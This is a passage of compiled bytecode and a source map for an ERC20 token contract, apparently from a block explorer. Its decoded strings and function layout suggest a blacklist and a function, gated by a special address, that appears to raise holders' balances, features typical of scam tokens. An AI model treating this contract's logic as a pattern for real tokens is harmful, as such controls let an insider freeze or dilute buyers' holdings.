600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f626c61636b4c6973746564000000000000000000000000000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f6e6f206f776e0000000000000000000000000000000000000000000000000000600082015250565b612d3e81612894565b8114612d4957600080fd5b50565b612d55816128b8565b8114612d6057600080fd5b50565b612d6c816128e4565b8114612d7757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220394238e768875b0a257d9cd36c4528971fc3a2001933ce681c00b1481f60cce364736f6c63430008070033

Deployed Bytecode Sourcemap

3773:7279:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5871:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6534:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7152:165;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4709:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6148:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4282:47;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4336:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7712:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4016:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6057:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4225:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4475:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6256:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3975:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4555:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7325:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2908:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9580:207;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5962:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4595:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7537:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9424:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4390:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4757:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4432:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6383:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4516:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3122:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5871:83;5908:13;5941:5;5934:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5871:83;:::o;6534:161::-;6609:4;6626:39;6635:12;:10;:12::i;:::-;6649:7;6658:6;6626:8;:39::i;:::-;6683:4;6676:11;;6534:161;;;;:::o;7152:165::-;3045:12;:10;:12::i;:::-;3035:22;;:6;;;;;;;;;;:22;;;3027:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7247:15:::1;7228:16;:34;;;;7293:16;;7273:17;:36;;;;7152:165:::0;:::o;4709:41::-;;;;;;;;;;;;;:::o;6148:100::-;6201:7;6228:12;;6221:19;;6148:100;:::o;4282:47::-;;;;;;;;;;;;;;;;;;;;;;:::o;4336:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;7712:313::-;7810:4;7827:36;7837:6;7845:9;7856:6;7827:9;:36::i;:::-;;7874:121;7883:6;7891:12;:10;:12::i;:::-;7905:89;7943:6;7905:89;;;;;;;;;;;;;;;;;:11;:19;7917:6;7905:19;;;;;;;;;;;;;;;:33;7925:12;:10;:12::i;:::-;7905:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7874:8;:121::i;:::-;8013:4;8006:11;;7712:313;;;;;:::o;4016:81::-;;;:::o;6057:83::-;6098:5;6123:9;;;;;;;;;;;6116:16;;6057:83;:::o;4225:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;4475:34::-;;;;:::o;6256:119::-;6322:7;6349:9;:18;6359:7;6349:18;;;;;;;;;;;;;;;;6342:25;;6256:119;;;:::o;3975:32::-;;;;;;;;;;;;;:::o;4555:33::-;;;;:::o;7325:169::-;3045:12;:10;:12::i;:::-;3035:22;;:6;;;;;;;;;;:22;;;3027:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7422:15:::1;7402:17;:35;;;;7469:17;;7448:18;:38;;;;7325:169:::0;:::o;2908:79::-;2946:7;2973:6;;;;;;;;;;;2966:13;;2908:79;:::o;9580:207::-;6756:12;:10;:12::i;:::-;6743:25;;:9;;;;;;;;;;;:25;;;6735:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;9680:9:::1;9675:105;9695:9;;:16;;9691:1;:20;9675:105;;;9762:6;9733:12;:26;9746:9;;9756:1;9746:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;9733:26;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;9713:3;;;;;:::i;:::-;;;;9675:105;;;;9580:207:::0;;;:::o;5962:87::-;6001:13;6034:7;6027:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5962:87;:::o;4595:39::-;;;;:::o;7537:167::-;7615:4;7632:42;7642:12;:10;:12::i;:::-;7656:9;7667:6;7632:9;:42::i;:::-;;7692:4;7685:11;;7537:167;;;;:::o;9424:146::-;6756:12;:10;:12::i;:::-;6743:25;;:9;;;;;;;;;;;:25;;;6735:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;9518::::1;9548:9;:12;9558:1;9548:12;;;;;;;;;;;;;;;;9538:6;9537:23;;;;:::i;:::-;9518:6;:10;;:44;;;;:::i;:::-;9503:9;:12;9513:1;9503:12;;;;;;;;;;;;;;;:59;;;;9424:146:::0;;:::o;4390:35::-;;;;:::o;4757:26::-;;;;;;;;;;;;;:::o;4432:36::-;;;;:::o;6383:143::-;6464:7;6491:11;:18;6503:5;6491:18;;;;;;;;;;;;;;;:27;6510:7;6491:27;;;;;;;;;;;;;;;;6484:34;;6383:143;;;;:::o;4516:32::-;;;;:::o;3122:157::-;3045:12;:10;:12::i;:::-;3035:22;;:6;;;;;;;;;;:22;;;3027:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3205:10:::1;3196:6;::::0;:19:::1;;;;;;;;;;;;;;;;;;3260:10;3231:40;;3252:6;::::0;::::1;;;;;;;;3231:40;;;;;;;;;;;;3122:157:::0;:::o;95:115::-;148:15;191:10;176:26;;95:115;:::o;6807:337::-;6917:1;6900:19;;:5;:19;;;;6892:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6998:1;6979:21;;:7;:21;;;;6971:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7082:6;7052:11;:18;7064:5;7052:18;;;;;;;;;;;;;;;:27;7071:7;7052:27;;;;;;;;;;;;;;;:36;;;;7120:7;7104:32;;7113:5;7104:32;;;7129:6;7104:32;;;;;;:::i;:::-;;;;;;;;6807:337;;;:::o;8033:1045::-;8111:4;8154:1;8138:18;;:4;:18;;;;8130:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8231:1;8217:16;;:2;:16;;;;8209:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8293:12;:18;8306:4;8293:18;;;;;;;;;;;;;;;;;;;;;;;;;8292:19;8284:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;8341:16;;;;;;;;;;;8338:733;;;8390:32;8405:4;8411:2;8415:6;8390:14;:32::i;:::-;8383:39;;;;8338:733;8474:28;8505:24;8523:4;8505:9;:24::i;:::-;8474:55;;8549:16;;;;;;;;;;;8548:17;:42;;;;;8570:14;:20;8585:4;8570:20;;;;;;;;;;;;;;;;;;;;;;;;;8569:21;8548:42;8544:133;;;8625:36;8640:20;8625:14;:36::i;:::-;8544:133;8711:27;8731:6;8711:9;:15;8721:4;8711:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;8693:9;:15;8703:4;8693:15;;;;;;;;;;;;;;;:45;;;;8753:19;8776:17;:23;8794:4;8776:23;;;;;;;;;;;;;;;;;;;;;;;;;:48;;;;8803:17;:21;8821:2;8803:21;;;;;;;;;;;;;;;;;;;;;;;;;8776:48;8775:130;;8880:25;8888:4;8894:2;8898:6;8880:7;:25::i;:::-;8775:130;;;8871:6;8775:130;8753:152;;8950:30;8968:11;8950:9;:13;8960:2;8950:13;;;;;;;;;;;;;;;;:17;;:30;;;;:::i;:::-;8934:9;:13;8944:2;8934:13;;;;;;;;;;;;;;;:46;;;;9017:2;9002:31;;9011:4;9002:31;;;9021:11;9002:31;;;;;;:::i;:::-;;;;;;;;9055:4;9048:11;;;;8033:1045;;;;;;:::o;1375:192::-;1461:7;1494:1;1489;:6;;1497:12;1481:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1521:9;1537:1;1533;:5;;;;:::i;:::-;1521:17;;1558:1;1551:8;;;1375:192;;;;;:::o;2306:148::-;2364:7;2384:9;2400:1;2396;:5;;;;:::i;:::-;2384:17;;2425:1;2420;:6;;2412:15;;;;;;2445:1;2438:8;;;2306:148;;;;:::o;9086:330::-;9179:4;9216:53;9238:6;9216:53;;;;;;;;;;;;;;;;;:9;:17;9226:6;9216:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;9196:9;:17;9206:6;9196:17;;;;;;;;;;;;;;;:73;;;;9303:32;9328:6;9303:9;:20;9313:9;9303:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;9280:9;:20;9290:9;9280:20;;;;;;;;;;;;;;;:55;;;;9368:9;9351:35;;9360:6;9351:35;;;9379:6;9351:35;;;;;;:::i;:::-;;;;;;;;9404:4;9397:11;;9086:330;;;;;:::o;9795:628::-;4877:4;4858:16;;:23;;;;;;;;;;;;;;;;;;9877:21:::1;9915:1;9901:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9877:40;;9946:4;9928;9933:1;9928:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;9972:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9962:4;9967:1;9962:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;10007:58;10024:4;10039:15;;;;;;;;;;;10057:7;10007:8;:58::i;:::-;10082:15;;;;;;;;;;;:66;;;10163:7;10185:1;10202:4;10229;10249:15;10082:193;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;10078:208;;;;;;10298:18;10319:21;10298:42;;10369:1;10356:10;:14;10353:62;;;10385:9;;;;;;;;;;;:18;;:30;10404:10;10385:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;10353:62;9856:567;;4923:5:::0;4904:16;;:24;;;;;;;;;;;;;;;;;;9795:628;:::o;1231:136::-;1289:7;1316:43;1320:1;1323;1316:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1309:50;;1231:136;;;;:::o;10433:610::-;10519:7;10549:17;10569:1;10549:21;;10586:14;:22;10601:6;10586:22;;;;;;;;;;;;;;;;;;;;;;;;;10583:227;;;10637:38;10671:3;10637:29;10648:17;;10637:6;:10;;:29;;;;:::i;:::-;:33;;:38;;;;:::i;:::-;10625:50;;10583:227;;;10705:14;:25;10720:9;10705:25;;;;;;;;;;;;;;;;;;;;;;;;;10702:108;;;10759:39;10794:3;10759:30;10770:18;;10759:6;:10;;:30;;;;:::i;:::-;:34;;:39;;;;:::i;:::-;10747:51;;10702:108;10583:227;10837:1;10825:9;:13;10822:173;;;10882:39;10911:9;10882;:24;10900:4;10882:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;10855:9;:24;10873:4;10855:24;;;;;;;;;;;;;;;:66;;;;10966:4;10941:42;;10950:6;10941:42;;;10973:9;10941:42;;;;;;:::i;:::-;;;;;;;;10822:173;11014:21;11025:9;11014:6;:10;;:21;;;;:::i;:::-;11007:28;;;10433:610;;;;;:::o;1042:181::-;1100:7;1120:9;1136:1;1132;:5;;;;:::i;:::-;1120:17;;1161:1;1156;:6;;1148:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1214:1;1207:8;;;1042:181;;;;:::o;1575:248::-;1633:7;1662:1;1657;:6;1653:47;;;1687:1;1680:8;;;;1653:47;1710:9;1726:1;1722;:5;;;;:::i;:::-;1710:17;;1755:1;1750;1746;:5;;;;:::i;:::-;:10;1738:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1814:1;1807:8;;;1575:248;;;;;:::o;1831:132::-;1889:7;1916:39;1920:1;1923;1916:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1909:46;;1831:132;;;;:::o;1971:189::-;2057:7;2089:1;2085;:5;2092:12;2077:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2116:9;2132:1;2128;:5;;;;:::i;:::-;2116:17;;2151:1;2144:8;;;1971:189;;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:143::-;209:5;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;152:143;;;;:::o;318:568::-;391:8;401:6;451:3;444:4;436:6;432:17;428:27;418:122;;459:79;;:::i;:::-;418:122;572:6;559:20;549:30;;602:18;594:6;591:30;588:117;;;624:79;;:::i;:::-;588:117;738:4;730:6;726:17;714:29;;792:3;784:4;776:6;772:17;762:8;758:32;755:41;752:128;;;799:79;;:::i;:::-;752:128;318:568;;;;;:::o;892:133::-;935:5;973:6;960:20;951:29;;989:30;1013:5;989:30;:::i;:::-;892:133;;;;:::o;1031:139::-;1077:5;1115:6;1102:20;1093:29;;1131:33;1158:5;1131:33;:::i;:::-;1031:139;;;;:::o;1176:329::-;1235:6;1284:2;1272:9;1263:7;1259:23;1255:32;1252:119;;;1290:79;;:::i;:::-;1252:119;1410:1;1435:53;1480:7;1471:6;1460:9;1456:22;1435:53;:::i;:::-;1425:63;;1381:117;1176:329;;;;:::o;1511:351::-;1581:6;1630:2;1618:9;1609:7;1605:23;1601:32;1598:119;;;1636:79;;:::i;:::-;1598:119;1756:1;1781:64;1837:7;1828:6;1817:9;1813:22;1781:64;:::i;:::-;1771:74;;1727:128;1511:351;;;;:::o;1868:474::-;1936:6;1944;1993:2;1981:9;1972:7;1968:23;1964:32;1961:119;;;1999:79;;:::i;:::-;1961:119;2119:1;2144:53;2189:7;2180:6;2169:9;2165:22;2144:53;:::i;:::-;2134:63;;2090:117;2246:2;2272:53;2317:7;2308:6;2297:9;2293:22;2272:53;:::i;:::-;2262:63;;2217:118;1868:474;;;;;:::o;2348:619::-;2425:6;2433;2441;2490:2;2478:9;2469:7;2465:23;2461:32;2458:119;;;2496:79;;:::i;:::-;2458:119;2616:1;2641:53;2686:7;2677:6;2666:9;2662:22;2641:53;:::i;:::-;2631:63;;2587:117;2743:2;2769:53;2814:7;2805:6;2794:9;2790:22;2769:53;:::i;:::-;2759:63;;2714:118;2871:2;2897:53;2942:7;2933:6;2922:9;2918:22;2897:53;:::i;:::-;2887:63;;2842:118;2348:619;;;;;:::o;2973:474::-;3041:6;3049;3098:2;3086:9;3077:7;3073:23;3069:32;3066:119;;;3104:79;;:::i;:::-;3066:119;3224:1;3249:53;3294:7;3285:6;3274:9;3270:22;3249:53;:::i;:::-;3239:63;;3195:117;3351:2;3377:53;3422:7;3413:6;3402:9;3398:22;3377:53;:::i;:::-;3367:63;;3322:118;2973:474;;;;;:::o;3453:698::-;3545:6;3553;3561;3610:2;3598:9;3589:7;3585:23;3581:32;3578:119;;;3616:79;;:::i;:::-;3578:119;3764:1;3753:9;3749:17;3736:31;3794:18;3786:6;3783:30;3780:117;;;3816:79;;:::i;:::-;3780:117;3929:80;4001:7;3992:6;3981:9;3977:22;3929:80;:::i;:::-;3911:98;;;;3707:312;4058:2;4084:50;4126:7;4117:6;4106:9;4102:22;4084:50;:::i;:::-;4074:60;;4029:115;3453:698;;;;;:::o;4157:329::-;4216:6;4265:2;4253:9;4244:7;4240:23;4236:32;4233:119;;;4271:79;;:::i;:::-;4233:119;4391:1;4416:53;4461:7;4452:6;4441:9;4437:22;4416:53;:::i;:::-;4406:63;;4362:117;4157:329;;;;:::o;4492:179::-;4561:10;4582:46;4624:3;4616:6;4582:46;:::i;:::-;4660:4;4655:3;4651:14;4637:28;;4492:179;;;;:::o;4677:142::-;4780:32;4806:5;4780:32;:::i;:::-;4775:3;4768:45;4677:142;;:::o;4825:108::-;4902:24;4920:5;4902:24;:::i;:::-;4897:3;4890:37;4825:108;;:::o;4939:118::-;5026:24;5044:5;5026:24;:::i;:::-;5021:3;5014:37;4939:118;;:::o;5093:732::-;5212:3;5241:54;5289:5;5241:54;:::i;:::-;5311:86;5390:6;5385:3;5311:86;:::i;:::-;5304:93;;5421:56;5471:5;5421:56;:::i;:::-;5500:7;5531:1;5516:284;5541:6;5538:1;5535:13;5516:284;;;5617:6;5611:13;5644:63;5703:3;5688:13;5644:63;:::i;:::-;5637:70;;5730:60;5783:6;5730:60;:::i;:::-;5720:70;;5576:224;5563:1;5560;5556:9;5551:14;;5516:284;;;5520:14;5816:3;5809:10;;5217:608;;;5093:732;;;;:::o;5831:109::-;5912:21;5927:5;5912:21;:::i;:::-;5907:3;5900:34;5831:109;;:::o;5946:183::-;6059:63;6116:5;6059:63;:::i;:::-;6054:3;6047:76;5946:183;;:::o;6135:147::-;6230:45;6269:5;6230:45;:::i;:::-;6225:3;6218:58;6135:147;;:::o;6288:364::-;6376:3;6404:39;6437:5;6404:39;:::i;:::-;6459:71;6523:6;6518:3;6459:71;:::i;:::-;6452:78;;6539:52;6584:6;6579:3;6572:4;6565:5;6561:16;6539:52;:::i;:::-;6616:29;6638:6;6616:29;:::i;:::-;6611:3;6607:39;6600:46;;6380:272;6288:364;;;;:::o;6658:366::-;6800:3;6821:67;6885:2;6880:3;6821:67;:::i;:::-;6814:74;;6897:93;6986:3;6897:93;:::i;:::-;7015:2;7010:3;7006:12;6999:19;;6658:366;;;:::o;7030:::-;7172:3;7193:67;7257:2;7252:3;7193:67;:::i;:::-;7186:74;;7269:93;7358:3;7269:93;:::i;:::-;7387:2;7382:3;7378:12;7371:19;;7030:366;;;:::o;7402:::-;7544:3;7565:67;7629:2;7624:3;7565:67;:::i;:::-;7558:74;;7641:93;7730:3;7641:93;:::i;:::-;7759:2;7754:3;7750:12;7743:19;;7402:366;;;:::o;7774:::-;7916:3;7937:67;8001:2;7996:3;7937:67;:::i;:::-;7930:74;;8013:93;8102:3;8013:93;:::i;:::-;8131:2;8126:3;8122:12;8115:19;;7774:366;;;:::o;8146:::-;8288:3;8309:67;8373:2;8368:3;8309:67;:::i;:::-;8302:74;;8385:93;8474:3;8385:93;:::i;:::-;8503:2;8498:3;8494:12;8487:19;;8146:366;;;:::o;8518:::-;8660:3;8681:67;8745:2;8740:3;8681:67;:::i;:::-;8674:74;;8757:93;8846:3;8757:93;:::i;:::-;8875:2;8870:3;8866:12;8859:19;;8518:366;;;:::o;8890:::-;9032:3;9053:67;9117:2;9112:3;9053:67;:::i;:::-;9046:74;;9129:93;9218:3;9129:93;:::i;:::-;9247:2;9242:3;9238:12;9231:19;;8890:366;;;:::o;9262:::-;9404:3;9425:67;9489:2;9484:3;9425:67;:::i;:::-;9418:74;;9501:93;9590:3;9501:93;:::i;:::-;9619:2;9614:3;9610:12;9603:19;;9262:366;;;:::o;9634:365::-;9776:3;9797:66;9861:1;9856:3;9797:66;:::i;:::-;9790:73;;9872:93;9961:3;9872:93;:::i;:::-;9990:2;9985:3;9981:12;9974:19;;9634:365;;;:::o;10005:118::-;10092:24;10110:5;10092:24;:::i;:::-;10087:3;10080:37;10005:118;;:::o;10129:112::-;10212:22;10228:5;10212:22;:::i;:::-;10207:3;10200:35;10129:112;;:::o;10247:222::-;10340:4;10378:2;10367:9;10363:18;10355:26;;10391:71;10459:1;10448:9;10444:17;10435:6;10391:71;:::i;:::-;10247:222;;;;:::o;10475:254::-;10584:4;10622:2;10611:9;10607:18;10599:26;;10635:87;10719:1;10708:9;10704:17;10695:6;10635:87;:::i;:::-;10475:254;;;;:::o;10735:210::-;10822:4;10860:2;10849:9;10845:18;10837:26;;10873:65;10935:1;10924:9;10920:17;10911:6;10873:65;:::i;:::-;10735:210;;;;:::o;10951:274::-;11070:4;11108:2;11097:9;11093:18;11085:26;;11121:97;11215:1;11204:9;11200:17;11191:6;11121:97;:::i;:::-;10951:274;;;;:::o;11231:313::-;11344:4;11382:2;11371:9;11367:18;11359:26;;11431:9;11425:4;11421:20;11417:1;11406:9;11402:17;11395:47;11459:78;11532:4;11523:6;11459:78;:::i;:::-;11451:86;;11231:313;;;;:::o;11550:419::-;11716:4;11754:2;11743:9;11739:18;11731:26;;11803:9;11797:4;11793:20;11789:1;11778:9;11774:17;11767:47;11831:131;11957:4;11831:131;:::i;:::-;11823:139;;11550:419;;;:::o;11975:::-;12141:4;12179:2;12168:9;12164:18;12156:26;;12228:9;12222:4;12218:20;12214:1;12203:9;12199:17;12192:47;12256:131;12382:4;12256:131;:::i;:::-;12248:139;;11975:419;;;:::o;12400:::-;12566:4;12604:2;12593:9;12589:18;12581:26;;12653:9;12647:4;12643:20;12639:1;12628:9;12624:17;12617:47;12681:131;12807:4;12681:131;:::i;:::-;12673:139;;12400:419;;;:::o;12825:::-;12991:4;13029:2;13018:9;13014:18;13006:26;;13078:9;13072:4;13068:20;13064:1;13053:9;13049:17;13042:47;13106:131;13232:4;13106:131;:::i;:::-;13098:139;;12825:419;;;:::o;13250:::-;13416:4;13454:2;13443:9;13439:18;13431:26;;13503:9;13497:4;13493:20;13489:1;13478:9;13474:17;13467:47;13531:131;13657:4;13531:131;:::i;:::-;13523:139;;13250:419;;;:::o;13675:::-;13841:4;13879:2;13868:9;13864:18;13856:26;;13928:9;13922:4;13918:20;13914:1;13903:9;13899:17;13892:47;13956:131;14082:4;13956:131;:::i;:::-;13948:139;;13675:419;;;:::o;14100:::-;14266:4;14304:2;14293:9;14289:18;14281:26;;14353:9;14347:4;14343:20;14339:1;14328:9;14324:17;14317:47;14381:131;14507:4;14381:131;:::i;:::-;14373:139;;14100:419;;;:::o;14525:::-;14691:4;14729:2;14718:9;14714:18;14706:26;;14778:9;14772:4;14768:20;14764:1;14753:9;14749:17;14742:47;14806:131;14932:4;14806:131;:::i;:::-;14798:139;;14525:419;;;:::o;14950:::-;15116:4;15154:2;15143:9;15139:18;15131:26;;15203:9;15197:4;15193:20;15189:1;15178:9;15174:17;15167:47;15231:131;15357:4;15231:131;:::i;:::-;15223:139;;14950:419;;;:::o;15375:222::-;15468:4;15506:2;15495:9;15491:18;15483:26;;15519:71;15587:1;15576:9;15572:17;15563:6;15519:71;:::i;:::-;15375:222;;;;:::o;15603:831::-;15866:4;15904:3;15893:9;15889:19;15881:27;;15918:71;15986:1;15975:9;15971:17;15962:6;15918:71;:::i;:::-;15999:80;16075:2;16064:9;16060:18;16051:6;15999:80;:::i;:::-;16126:9;16120:4;16116:20;16111:2;16100:9;16096:18;16089:48;16154:108;16257:4;16248:6;16154:108;:::i;:::-;16146:116;;16272:72;16340:2;16329:9;16325:18;16316:6;16272:72;:::i;:::-;16354:73;16422:3;16411:9;16407:19;16398:6;16354:73;:::i;:::-;15603:831;;;;;;;;:::o;16440:214::-;16529:4;16567:2;16556:9;16552:18;16544:26;;16580:67;16644:1;16633:9;16629:17;16620:6;16580:67;:::i;:::-;16440:214;;;;:::o;16741:132::-;16808:4;16831:3;16823:11;;16861:4;16856:3;16852:14;16844:22;;16741:132;;;:::o;16879:114::-;16946:6;16980:5;16974:12;16964:22;;16879:114;;;:::o;16999:99::-;17051:6;17085:5;17079:12;17069:22;;16999:99;;;:::o;17104:113::-;17174:4;17206;17201:3;17197:14;17189:22;;17104:113;;;:::o;17223:184::-;17322:11;17356:6;17351:3;17344:19;17396:4;17391:3;17387:14;17372:29;;17223:184;;;;:::o;17413:169::-;17497:11;17531:6;17526:3;17519:19;17571:4;17566:3;17562:14;17547:29;;17413:169;;;;:::o;17588:305::-;17628:3;17647:20;17665:1;17647:20;:::i;:::-;17642:25;;17681:20;17699:1;17681:20;:::i;:::-;17676:25;;17835:1;17767:66;17763:74;17760:1;17757:81;17754:107;;;17841:18;;:::i;:::-;17754:107;17885:1;17882;17878:9;17871:16;;17588:305;;;;:::o;17899:185::-;17939:1;17956:20;17974:1;17956:20;:::i;:::-;17951:25;;17990:20;18008:1;17990:20;:::i;:::-;17985:25;;18029:1;18019:35;;18034:18;;:::i;:::-;18019:35;18076:1;18073;18069:9;18064:14;;17899:185;;;;:::o;18090:348::-;18130:7;18153:20;18171:1;18153:20;:::i;:::-;18148:25;;18187:20;18205:1;18187:20;:::i;:::-;18182:25;;18375:1;18307:66;18303:74;18300:1;18297:81;18292:1;18285:9;18278:17;18274:105;18271:131;;;18382:18;;:::i;:::-;18271:131;18430:1;18427;18423:9;18412:20;;18090:348;;;;:::o;18444:191::-;18484:4;18504:20;18522:1;18504:20;:::i;:::-;18499:25;;18538:20;18556:1;18538:20;:::i;:::-;18533:25;;18577:1;18574;18571:8;18568:34;;;18582:18;;:::i;:::-;18568:34;18627:1;18624;18620:9;18612:17;;18444:191;;;;:::o;18641:96::-;18678:7;18707:24;18725:5;18707:24;:::i;:::-;18696:35;;18641:96;;;:::o;18743:104::-;18788:7;18817:24;18835:5;18817:24;:::i;:::-;18806:35;;18743:104;;;:::o;18853:90::-;18887:7;18930:5;18923:13;18916:21;18905:32;;18853:90;;;:::o;18949:126::-;18986:7;19026:42;19019:5;19015:54;19004:65;;18949:126;;;:::o;19081:77::-;19118:7;19147:5;19136:16;;19081:77;;;:::o;19164:86::-;19199:7;19239:4;19232:5;19228:16;19217:27;;19164:86;;;:::o;19256:152::-;19332:9;19365:37;19396:5;19365:37;:::i;:::-;19352:50;;19256:152;;;:::o;19414:121::-;19472:9;19505:24;19523:5;19505:24;:::i;:::-;19492:37;;19414:121;;;:::o;19541:126::-;19591:9;19624:37;19655:5;19624:37;:::i;:::-;19611:50;;19541:126;;;:::o;19673:113::-;19723:9;19756:24;19774:5;19756:24;:::i;:::-;19743:37;;19673:113;;;:::o;19792:307::-;19860:1;19870:113;19884:6;19881:1;19878:13;19870:113;;;19969:1;19964:3;19960:11;19954:18;19950:1;19945:3;19941:11;19934:39;19906:2;19903:1;19899:10;19894:15;;19870:113;;;20001:6;19998:1;19995:13;19992:101;;;20081:1;20072:6;20067:3;20063:16;20056:27;19992:101;19841:258;19792:307;;;:::o;20105:320::-;20149:6;20186:1;20180:4;20176:12;20166:22;;20233:1;20227:4;20223:12;20254:18;20244:81;;20310:4;20302:6;20298:17;20288:27;;20244:81;20372:2;20364:6;20361:14;20341:18;20338:38;20335:84;;;20391:18;;:::i;:::-;20335:84;20156:269;20105:320;;;:::o;20431:233::-;20470:3;20493:24;20511:5;20493:24;:::i;:::-;20484:33;;20539:66;20532:5;20529:77;20526:103;;;20609:18;;:::i;:::-;20526:103;20656:1;20649:5;20645:13;20638:20;;20431:233;;;:::o;20670:180::-;20718:77;20715